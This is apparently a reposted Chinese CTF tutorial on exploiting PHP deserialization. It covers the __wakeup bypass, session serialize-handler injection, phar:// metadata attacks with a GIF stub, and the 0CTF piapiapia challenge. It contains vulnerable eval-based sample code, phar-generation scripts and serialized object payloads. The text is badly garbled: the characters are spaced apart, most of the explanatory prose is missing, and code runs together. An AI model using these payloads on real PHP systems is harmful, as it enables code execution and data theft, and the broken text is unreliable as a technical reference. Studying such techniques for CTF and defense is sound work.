[18158] 2020-10-11_从CTF中学习PHP反序列化的各种利用方式

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2020-10-11_从CTF中学习PHP反序列化的各种利用方式 C T F P H P I F O N L Y   H A C K   2 0 2 0 - 1 0 - 1 1 I F O N L Y p h p ,   P H P ,   C T F _ _ w a k e u p ( ) C V E :   C V E - 2 0 1 6 - 7 1 2 4 P H P :   P H P 5 . 6 . 2 5 7 . 0 . 1 0 7 . x :   , :   d e m o : _ _ w a k e u p ( ) ( ) , _ _ w a k e u p ( )
< ? p h p h i g h l i g h t _ f i l e ( _ _ F I L E _ _ ) ; e r r o r _ r e p o r t i n g ( 0 ) ; c l a s s   c o n v e n t {         v a r   $ w a r n   =   " N o   h a c k e r . " ;         f u n c t i o n   _ _ d e s t r u c t ( ) {                 e v a l ( $ t h i s - > w a r n ) ;         }         f u n c t i o n   _ _ w a k e u p ( ) {                 f o r e a c h ( g e t _ o b j e c t _ v a r s ( $ t h i s )   a s   $ k   = >   $ v )   {                         $ t h i s - > $ k   =   n u l l ;                 }         } } $ c m d   =   $ _ P O S T [ c m d ] ; u n s e r i a l i z e ( $ c m d ) ; ? > ,   ,     ,   ,   ,   p h p   ,   ,   u n s e r i a l i z e _ _ w a k e u p e v a l
p h p   s e s s i o n   P H P   s e s s i o n   ,   s e s s i o n   p h p s e s s i o n s e s s i o n . s a v e _ h a n d l e r s e s s _ s e s s i o n i d 使 p h p   :     p h p _ s e r i a l i z e :     p h p _ b i n a r y :   A S C I I   +     +   p h p . i n i   : | ( )
p h p s t u d y   ,   s e s s i o n     ,   p h p : < ? p h p         s e s s i o n _ s t a r t ( ) ;         $ _ S E S S I O N [ ' n a m e ' ]   =   ' 1 F o n l Y '   ;         v a r _ d u m p ( $ _ S E S S I O N ) ; ? >   / /   a r r a y ( 1 )   {   [ " n a m e " ] = >   s t r i n g ( 6 )   " 1 F o n l Y "   } s e s s i o n   :   ,   p h p _ s e r i a l i z e   : < ? p h p         i n i _ s e t ( ' s e s s i o n . s e r i a l i z e _ h a n d l e r ' ,     ' p h p _ s e r i a l i z e ' ) ;         s e s s i o n _ s t a r t ( ) ;         $ _ S E S S I O N [ ' n a m e ' ]   =   ' 1 F o n l Y '   ;         v a r _ d u m p ( $ _ S E S S I O N ) ; ? >   / /   a r r a y ( 1 )   {   [ " n a m e " ] = >   s t r i n g ( 6 )   " 1 F o n l Y "   }   使 p h p _ s e r i a l i z e 使 p h p _ s e r i a l i z e s e s s i o n k e y v a l u e ,   p h p _ b i n a r y : s e s s i o n . s a v e _ p a t h = " "       - - s e s s i o n s e s s i o n . s a v e _ h a n d l e r = " "   - - 使 P H P 使 ( ) s e s s i o n . a u t o _ s t a r t       b o o l e n   - - , 0 s e s s i o n . s e r i a l i z e _ h a n d l e r       s t r i n g   - - / 使 p h p e x t e n s i o n / t m p / t m p n a m e | s : 6 : " 1 F o n l Y " ; a : 1 : { s : 4 : " n a m e " ; s : 6 : " 1 F o n l Y " ; } a : 1
< ? p h p         i n i _ s e t ( ' s e s s i o n . s e r i a l i z e _ h a n d l e r ' ,     ' p h p _ b i n a r y ' ) ;         s e s s i o n _ s t a r t ( ) ;         $ _ S E S S I O N [ ' n a m e ' ]   =   ' 1 F o n l Y '   ;         v a r _ d u m p ( $ _ S E S S I O N ) ; ? >     ,   4 A S C I I     E O T s e s s i o n   : ,       使   s e s s i o n     ,   ,     , , n a m e s : 6 : " 1 F o n l Y " ; E O T n a m e 4 O : 7 : " _ 1 F o n l Y " : 1 : { s : 3 : " c m d " ; N ; } | O : 7 : " _ 1 F o n l Y " : 1 : { s : 3 : " c m d " ; N ; } p h p _ s e r i a l i z e a : 1 : { s : 4 : " n a m e " ; s : 3 1 : " | O : 7 : " _ 1 F o n l Y " : 1 : { s : 3 : " c m d " ; N ; } " ; } a : 1 : { s : 4 : " n a m e " ; s : 3 1 : " O : 7 : " _ 1 F o n l Y " : 1 : { s : 3 : " c m d " ; N ; }
,   p h p   s e s s i o n :   h t t p : / / w e b . j a r v i s o j . c o m : 3 2 7 8 4 / p h a r     B l a c k   H a t     S a m e   T h o m a s   . p h a r   , p h a r m e t a - d a t a p h p f i l e _ e x i s t s ( ) i s _ d i r ( ) p h a r : / / u n s e r i a l i z e ( ) p h a r   ,   < ? p h p         c l a s s   T e s t O b j e c t   {         }         / /   p h a r           @ u n l i n k ( " p h a r . p h a r " ) ;         $ o   =   n e w   T e s t O b j e c t ( ) ;         $ p h a r   =   n e w   P h a r ( " p h a r . p h a r " ) ;   / / p h a r         $ p h a r - > s t a r t B u f f e r i n g ( ) ;         $ p h a r - > s e t S t u b ( " < ? p h p   _ _ H A L T _ C O M P I L E R ( ) ;   ? > " ) ;   / / s t u b         $ p h a r - > s e t M e t a d a t a ( $ o ) ;   / / m e t a - d a t a m a n i f e s t         $ p h a r - > a d d F r o m S t r i n g ( " t e s t . t x t " ,   " t e s t " ) ;   / /         / /         $ p h a r - > s t o p B u f f e r i n g ( ) ; ? >
e x p   p h a r ,   p a y l o a d p h a r   , 使 p h a r       s t u b , p h p p h a r s t u b + p h a r p h a r : / / _ _ H A L T _ C O M P I L E R ( ) ; ? >
p h a r   ,     ,     b y p a s s   p h a r : / /     , p a y l o a d :   P o s t g r e s q l $ p h a r - > s e t S t u b ( " G I F 8 9 a "   .   " < ? p h p   _ _ H A L T _ C O M P I L E R ( ) ;   ? > " ) ; : / p h a r c o m p r e s s . z l i b : / / c o m p r e s s . b z i p 2 : / / c o m p r e s s . z l i b : / / c o m p r e s s . b z i p 2 : / / p h a r : / / c o m p r e s s . z l i b : / / p h a r : / / p h a r . p h a r / t e s t . t x t
p g s q l C o p y T o F i l e p g _ t r a c e 使 p h a r M y S Q L L O A D   D A T A   L O C A L   I N F I L E p h p _ s t r e a m _ o p e n _ w r a p p e r . m y s q l d , 0 C T F   2 0 1 6   p i a p i a p i a ,   c l a s s . p h p     c o n f i g . p h p ( f l a g , f l a g c o n f i g . p h p , c o n f i g . p h p   ) r e g i s t e r . p h p   : p r o f i l e . p h p   :       ,   c o n f i g . p h p   f l a g ,   p h o t o   b a s e 6 4 < ? p h p $ p d o   =   n e w   P D O ( s p r i n t f ( " p g s q l : h o s t = % s ; d b n a m e = % s ; u s e r = % s ; p a s s w o r d = % s " ,   " 1 2 7 . 0 . 0 . 1 " ,   " p o s t g r e s " ,   " s x " ,   " 1 2 3 4 5 6 " ) ) ; $ p d o - > p g s q l C o p y F r o m F i l e ( ' a a ' ,   ' p h a r : / / t e s t . p h a r / a a ' ) ; [ m y s q l d ] l o c a l - i n f i l e = 1 s e c u r e _ f i l e _ p r i v = " " $ u s e r - > u p d a t e _ p r o f i l e ( $ u s e r n a m e ,   s e r i a l i z e ( $ p r o f i l e ) ) ;   / /   p h o t o p h o t o
( 5 )   , w h e r e , ( 6 )   $ p h o t o   =   b a s e 6 4 _ e n c o d e ( f i l e _ g e t _ c o n t e n t s ( $ p r o f i l e [ ' p h o t o ' ] ) ) ;   / /   p h o t o     c o n f i g . p h p   f l a g w h e r e h a c k e r
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则